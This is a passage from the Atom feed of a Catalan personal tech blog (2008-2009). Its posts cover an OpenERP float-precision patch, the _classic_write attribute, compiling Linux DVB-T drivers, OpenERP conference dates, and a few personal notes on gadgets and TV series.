#352471&lt;/a&gt;)&lt;br /&gt;
&lt;br /&gt;
Es tracta d&#39;un error en l&#39;entrada de floats de més de 6 decimals. El sistema només entra la precisió de 6. Això és degut que al fer la substitució del float pel comodí &lt;code&gt;%f&lt;/code&gt;, per defecte agafa precisicó de 6 (&lt;a href=&quot;http://docs.python.org/library/stdtypes.html#string-formatting-operations&quot;&gt;Mirar Nota 3 de la secció &#39;string formatting operations&#39;&lt;/a&gt;). Se li pot canviar la precisió fent &lt;code&gt;%.12f&lt;/code&gt; (si volem precisió 12 per exemple)&lt;br /&gt;
&lt;br /&gt;
El pedaç que he enviat és molt senzill, ja que al definir una columna com a float, pots definir-li amb quina precisió vols treballar fent per exemple:&lt;br /&gt;
&lt;pre&gt;fields.float(&#39;Camp&#39;, digits=(13,12))&lt;/pre&gt;&lt;br /&gt;
Això ens crearà un camp que el valor del camp tindrà 13 posicions i 12 seran decimals.&lt;br /&gt;
&lt;br /&gt;
L&#39;OpenObject server quan introdueix les dades a la base de dades fa servir el caràcter %f per fer la inserció i per això mateix és perd la precisió i només queden reflectits els 6 primers decimals.&lt;br /&gt;
&lt;br /&gt;
La solució és simple, en comptes d&#39;agafar sempre el caràcter %f pels floats, s&#39;ha de mirar si t&#39;he definit l&#39;atribut digits, i en el cas que el tigui fer que el caràcter sigui %.digits[1]f&lt;br /&gt;
&lt;br /&gt;
Podeu veure el pedaç aquí: &lt;a href=&quot;http://launchpadlibrarian.net/24575092/float_precision.patch&quot;&gt;float_precision.patch&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;Actualització:&lt;/span&gt;&lt;br /&gt;
L&#39;equip de Qualitat de l&#39;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/OpenERP&quot; rel=&quot;wikipedia&quot; title=&quot;OpenERP&quot;&gt;OpenERP&lt;/a&gt; ha decidit que el pedaç no era necessari, crec que tenen raó en part, ja que en la versió 5.0 s&#39;utilitza psycopg2 i no és necessari el formateix de les variables en les sentències &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/SQL&quot; rel=&quot;wikipedia&quot; title=&quot;SQL&quot;&gt;SQL&lt;/a&gt;, però en la versió 4.2.x és necessari diguin el que diguin, ja que jo la tinc en producció en diferents llocs i el bug existeix. O sigui que si us trobeu amb aquest problema el podreu solventar amb aquest pedaç.&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://reblog.zemanta.com/zemified/e5eacd2d-cd61-43a1-83de-858ab64138ab/&quot; title=&quot;Reblog this post [with Zemanta]&quot;&gt;&lt;img alt=&quot;Reblog this post [with Zemanta]&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/reblog_e.png?x-id=e5eacd2d-cd61-43a1-83de-858ab64138ab&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;span class=&quot;zem-script more-related pretty-attribution&quot;&gt;&lt;script defer=&quot;defer&quot; src=&quot;http://static.zemanta.com/readside/loader.js&quot; type=&quot;text/javascript&quot;&gt;
&lt;/script&gt;&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/636553945951293506/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/04/error-en-la-precisio-dun-float-en.html#comment-form' title='0 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/636553945951293506'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/636553945951293506'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/04/error-en-la-precisio-dun-float-en.html' title='Error en la precisió d&#39;un float en l&#39;OpenObject Server'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-7053316667785791567</id><published>2009-03-31T09:27:00.000+02:00</published><updated>2009-03-31T09:27:36.917+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="OpenERP"/><title type='text'>Jornades OpenERP</title><content type='html'>Els dies 17 i 18 d&#39;Abril del 2009 es duran a terme les II Jornades de l&#39;OpenERP a Vilanova i la Geltrú. Més informació a&amp;nbsp;&lt;a href=&quot;http://jornadas.openerpspain.com/&quot;&gt;http://jornadas.openerpspain.com&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;Si hi esteu interessats ús podeu inscriure des de la mateixa pàgina.&lt;/div&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a alt=&quot;Jornadas OpenERP&quot; href=&quot;http://jornadas.openerpspain.com/&quot; title=&quot;Jornadas OpenERP&quot;&gt;&lt;img alt=&quot;Jornadas OpenERP&quot; src=&quot;http://jornadas.openerpspain.com/images/jornadasopenerp.png&quot; title=&quot;Jornadas OpenERP&quot; /&gt;&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/7053316667785791567/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/03/jornades-openerp.html#comment-form' title='0 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/7053316667785791567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/7053316667785791567'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/03/jornades-openerp.html' title='Jornades OpenERP'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-2013862690650267217</id><published>2009-01-11T12:19:00.004+01:00</published><updated>2009-01-12T11:21:57.308+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="LinuxTV"/><category scheme="http://www.blogger.com/atom/ns#" term="multimedia"/><category scheme="http://www.blogger.com/atom/ns#" term="TDT"/><title type='text'>Fer funcionar el TDT</title><content type='html'>Tinc una capturadora de TV, fins el dia d&#39;avui només em funcionava el mètode analògic i me la detectava com una &quot;Terratec Cinergy 250 PCI TV&quot;.&lt;br /&gt;&lt;br /&gt;El &lt;i&gt;truco&lt;/i&gt; està en baixar-se els últims drivers de &lt;a href=&quot;http://www.linuxtv.org/&quot;&gt;v4l-dvb&lt;/a&gt; i compilar-ho. Per això haurem de fer:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;$ sudo apt-get install mercurial linux-headers-`uname -r`&lt;/pre&gt;&lt;br /&gt;Després ens descarreguem les fonts de v4l-dvb a partir de mercurial, per exemple a &lt;code&gt;/usr/local/src&lt;/code&gt;:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ cd /usr/local/src&lt;br /&gt;$ sudo hg clone http://linuxtv.org/hg/v4l-dvb&lt;br /&gt;$ cd v4l-dvb&lt;br /&gt;$ make&lt;br /&gt;$ make install&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Reiniciem l&#39;ordinador i per mirar si ens ha detectat bé fem:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;$ dmesg | grep DVB | less&lt;/pre&gt;&lt;br /&gt;En el meu cas retorna:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;[   21.172183] DVB: registering new adapter (saa7133[0])&lt;br /&gt;[   21.172189] DVB: registering adapter 0 frontend 0 (Philips TDA10046H DVB-T)...... (més coses)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Doncs ara ja tenim funcionant la TDT al nostre GNU/Linux, ara falta sintonitzar canals. Per això jo he utilitzat el &lt;a href=&quot;http://edafe.org/vdr/w_scan/&quot;&gt;w_scan&lt;/a&gt;. Seguiu les instruccions d&#39;instal·lació que hi ha a la pàgina.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Generar fitxer de canals pel Totem&lt;/b&gt;&lt;br /&gt;&lt;pre&gt;$ sudo ./w_scan -X &amp;gt; /home/usuari/.gstreamer-0-10/dvb-channels.conf&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;Generar fitxer de canals pel Kaffeine&lt;/b&gt;&lt;br /&gt;&lt;pre&gt;$ sudo ./w_scan -k &amp;gt; /home/usuari/.kde/share/apps/kaffeine/channels.dvb&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/2013862690650267217/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/01/fer-funcionar-el-tdt.html#comment-form' title='0 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/2013862690650267217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/2013862690650267217'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/01/fer-funcionar-el-tdt.html' title='Fer funcionar el TDT'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-8458310577206536403</id><published>2008-10-11T20:16:00.006+02:00</published><updated>2008-10-11T20:46:25.329+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="OpenERP"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><title type='text'>L&#39;atribut _classic_write</title><content type='html'>Avui explicaré en què consisteix l&#39;atribut &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;_classic_write&lt;/span&gt; dels models de l&#39;OpenERP. Aquesta característica no està comentada a la documentació de desenvolupadors però sí que ho està d&#39;una manera escueta al mateix codi python.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;La funció _classic_write=False ens permet modificar la manera en que editem els camps dels tipus &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-style: italic;&quot;&gt;many2one&lt;/span&gt;,&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-style: italic;&quot;&gt; one2many&lt;/span&gt; i &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-style: italic;&quot;&gt;many2many&lt;/span&gt;. &lt;/div&gt;&lt;div&gt;&lt;pre&gt;&lt;br /&gt;(0, 0,  { fields })    create&lt;br /&gt;(1, ID, { fields })    modification&lt;br /&gt;(2, ID)                remove&lt;br /&gt;(3, ID)                unlink&lt;br /&gt;(4, ID)                link&lt;br /&gt;(5, ID)                unlink all&lt;br /&gt;(6, ?, ids)            set a list of links&lt;br /&gt;&lt;/pre&gt;per defecte només el many2many funciona aquesta característica. Per tal que funcioni amb els many2one i els one2many que definim als nostres models haurem d&#39;afegir el paràmetre _classic_write=False al moment de definir el camp. Per exemple&lt;/div&gt;&lt;div&gt;&lt;pre&gt;&#39;exemple&#39;: fields.many2one(&#39;object&#39;, &#39;String&#39;, _classic_write=False),&lt;/pre&gt;Amb això ja tindrem el camp exemple funcionant amb el _classic_write=False.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Per cert, ara per ara en la versió actual no funciona passar el paràmetre _classic_write=False per un &lt;a href=&quot;https://bugs.launchpad.net/openerp/+bug/277440&quot;&gt;Bug&lt;/a&gt;. He enviat el &lt;a href=&quot;http://launchpadlibrarian.net/18155895/fields.patch&quot;&gt;pedaç&lt;/a&gt; però de moment no hi ha cap resposta.... M&#39;agrada molt el projecte però no veig gaire clar el cicle de desenvolupament que duen...&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Al pròxim post faré un mini tuturial explicant com treballar amb aquests tipus de camps.&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/8458310577206536403/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2008/10/latribut-classicwrite.html#comment-form' title='1 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/8458310577206536403'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/8458310577206536403'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2008/10/latribut-classicwrite.html' title='L&#39;atribut _classic_write'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-4874647164964717569</id><published>2008-09-26T22:30:00.000+02:00</published><updated>2008-09-26T22:32:24.284+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="iphone"/><title type='text'>Per fí!</title><content type='html'>Ha costat lo seu... però al final el tinc :)&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiG-Ycjb7rHuXrrSrJKn-FpAZtqYCS5NCMpqirLHAsKX-PoxNuRiR6j-0wzckWxD5D0V5MpG8XTyGOsQZjLnoWgtZ95ZA-Ui0Zqnl8fxGMcA6paOwHofHXJw-LWBmaTExf8Z_TKoW9vAS8/s1600-h/photo.jpg&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiG-Ycjb7rHuXrrSrJKn-FpAZtqYCS5NCMpqirLHAsKX-PoxNuRiR6j-0wzckWxD5D0V5MpG8XTyGOsQZjLnoWgtZ95ZA-Ui0Zqnl8fxGMcA6paOwHofHXJw-LWBmaTExf8Z_TKoW9vAS8/s400/photo.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5250430397173487202&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/4874647164964717569/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2008/09/per-f.html#comment-form' title='0 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/4874647164964717569'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/4874647164964717569'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2008/09/per-f.html' title='Per fí!'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiG-Ycjb7rHuXrrSrJKn-FpAZtqYCS5NCMpqirLHAsKX-PoxNuRiR6j-0wzckWxD5D0V5MpG8XTyGOsQZjLnoWgtZ95ZA-Ui0Zqnl8fxGMcA6paOwHofHXJw-LWBmaTExf8Z_TKoW9vAS8/s72-c/photo.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-6595776474905257119</id><published>2008-09-06T15:00:00.004+02:00</published><updated>2008-09-06T16:04:55.327+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="windows"/><title type='text'>Qui m&#39;ho hauria de dir...</title><content type='html'>Doncs com que amb la compra del sobretaula (ja casi dos anys...) em venia un windows, pagat i amb el seu codi de tant en tant l&#39;actualtizo i el matenc al dia. Tot i que no hi sé treballar gaire jejej, m&#39;hi he hagut d&#39;instal·lar el &lt;a href=&quot;http://cygwin.com/&quot;&gt;Cygwin&lt;/a&gt; per poder fer servir una shell com cal.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Però bé... el post aquest és només per dir que he actualitzat a &lt;a href=&quot;http://www.microsoft.com/downloads/details.aspx?FamilyID=2FCDE6CE-B5FB-4488-8C50-FE22559D164E&amp;amp;displaylang=es&quot;&gt;SP3&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhFuuoWZFNkuPd4b0afd84XW6aYNxUqhkCOOFdGDGsEsqOVMViF4Z4a0g8WcdpolExn9SiQCcGHg3s9kZoxKgPoZWHVVAGjLkwke1p2aI0XFNkJCna7hUgbRPl5yKJnCd4K5L5T2WKINg/s400/windows_xp_sp3_update.png&quot; style=&quot;display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5242909017515342530&quot; /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/6595776474905257119/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2008/09/qui-mho-hauria-de-dir.html#comment-form' title='0 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/6595776474905257119'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/6595776474905257119'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2008/09/qui-mho-hauria-de-dir.html' title='Qui m&#39;ho hauria de dir...'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhFuuoWZFNkuPd4b0afd84XW6aYNxUqhkCOOFdGDGsEsqOVMViF4Z4a0g8WcdpolExn9SiQCcGHg3s9kZoxKgPoZWHVVAGjLkwke1p2aI0XFNkJCna7hUgbRPl5yKJnCd4K5L5T2WKINg/s72-c/windows_xp_sp3_update.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-1447248522640754083</id><published>2008-08-20T17:28:00.006+02:00</published><updated>2009-04-01T21:41:20.340+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="no-tec"/><category scheme="http://www.blogger.com/atom/ns#" term="sèries"/><category scheme="http://www.blogger.com/atom/ns#" term="tv"/><title type='text'>JPod, la feina que voldríem tenir tots?</title><content type='html'>&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwRb1C3jE9QXo3kobjWqgXoAFMrju0CS4dysG_2WccQwvQiq_F-51C763MZ9k43pR2nayUD5hqBdKlnJDfh2tZ7cAI0A-ISXinYg37KBHu6quuBN5yVtwKwb89U1b8ZEzYQBp1rx0ARd4/s1600-h/JPod.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwRb1C3jE9QXo3kobjWqgXoAFMrju0CS4dysG_2WccQwvQiq_F-51C763MZ9k43pR2nayUD5hqBdKlnJDfh2tZ7cAI0A-ISXinYg37KBHu6quuBN5yVtwKwb89U1b8ZEzYQBp1rx0ARd4/s200/JPod.jpg&quot; /&gt;&lt;/a&gt;Fa uns dies he començat a mirar una sèrie nova, &lt;a href=&quot;http://en.wikipedia.org/wiki/Jpod&quot;&gt;JPod&lt;/a&gt;. Es tracta d&#39;una sèrie on els personatges treballen a una empresa del sector dels videojocs, i tots els components de l&#39;equip JPod tenen una J al seu nom.&lt;br /&gt;
El JPod és un laboratori d&#39;experiments, on mentres desenvolupen un videojoc van treballant amb altres coses. Si en mireu algun capítol no em direu que no us agradaria treballar a un lloc així. Sense horaris, fent &lt;span style=&quot;font-style: italic;&quot;&gt;fricades&lt;/span&gt; vàries...&lt;br /&gt;
&lt;br /&gt;
A l&#39;hispashare, ús els podeu &lt;a href=&quot;http://www.hispashare.com/?view=title&amp;amp;id=4340&quot;&gt;descarregar en castellà&lt;/a&gt; i a la pàgina de la CBC els &lt;a href=&quot;http://www.cbc.ca/jpod/&quot;&gt;podeu veure tots, però en anglès&lt;/a&gt;.</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/1447248522640754083/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2008/08/jpod-la-feina-que-voldrem-tenir-tots.html#comment-form' title='2 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/1447248522640754083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/1447248522640754083'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2008/08/jpod-la-feina-que-voldrem-tenir-tots.html' title='JPod, la feina que voldríem tenir tots?'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwRb1C3jE9QXo3kobjWqgXoAFMrju0CS4dysG_2WccQwvQiq_F-51C763MZ9k43pR2nayUD5hqBdKlnJDfh2tZ7cAI0A-ISXinYg37KBHu6quuBN5yVtwKwb89U1b8ZEzYQBp1rx0ARd4/s72-c/JPod.jpg" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-8180963180263919264</id><published>2008-08-07T01:43:00.003+02:00</published><updated>2008-08-07T02:00:18.819+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="embedded"/><category scheme="http://www.blogger.com/atom/ns#" term="I+D"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="multimedia"/><title type='text'>Media player amb linux pre-instal·lat!</title><content type='html'>Doncs fa poc em vaig comprar un reproductor multimèdia (&lt;a href=&quot;http://www.emtec-international.com/es/produit.php?categorie=STMOB&amp;amp;gamme=DISQUES%20DURS&amp;amp;ss_gamme=Q100&quot;&gt;EMTEC MovieCube Q-100&lt;/a&gt;), d&#39;aquests que endolles a la tele i pots veure tots els vídeos que t&#39;has baixat &lt;span style=&quot;font-style: italic;&quot;&gt;ilegalment&lt;/span&gt; d&#39;Internet :P.&lt;br /&gt;&lt;br /&gt;Quan el vaig connectar al meu pc per tal de fer la primera transferència de fitxers, ja vaig veure que em montava moltes unitats... i quan vaig alucinar més va ser quan em va montar una unitat on hi havia l&#39;estructura de directoris típis d&#39;una distribució linux! Resulta que el bitxo aquest funciona amb GNU/Linux :D (aquí el meu cervell ja va començar a pensar en tot el que es podria fer amb l&#39;aparatet :P)&lt;br /&gt;&lt;br /&gt;Avui tot navegant i buscant una mica d&#39;informació més he trobat un &lt;a href=&quot;http://rtd1261.wikidot.com/&quot;&gt;wiki&lt;/a&gt; que ensenya com tunejar els &lt;span style=&quot;font-style: italic;&quot;&gt;bitxos&lt;/span&gt; aquests :) En la primera pàgina diu que són vàlids els Emtec moviecubes tant de la sèria R com Q, però després a la pàgina de &lt;a href=&quot;http://rtd1261.wikidot.com/compatible-devices&quot;&gt;dispositius comptatibles&lt;/a&gt;, només parla de la sèria R... S&#39;haurà de provar per saber si el meu model també és compatible.&lt;br /&gt;&lt;br /&gt;He trobat una pàgina al wiki que diu que hi ha instal·lada una debian :|, &lt;a href=&quot;http://rtd1261.wikidot.com/tweaking-the-official-firmware#toc11&quot;&gt;fer un chroot del &lt;span style=&quot;font-style: italic;&quot;&gt;bitxo&lt;/span&gt; i fer un apt-get update&lt;/a&gt; (molt finet!)&lt;br /&gt;&lt;br /&gt;Seguiré informant sobre els avanços que vagi fent!</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/8180963180263919264/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2008/08/media-player-amb-linux-pre-installat.html#comment-form' title='0 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/8180963180263919264'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/8180963180263919264'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2008/08/media-player-amb-linux-pre-installat.html' title='Media player amb linux pre-instal·lat!'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><thr:total>0</thr:total></entry></feed>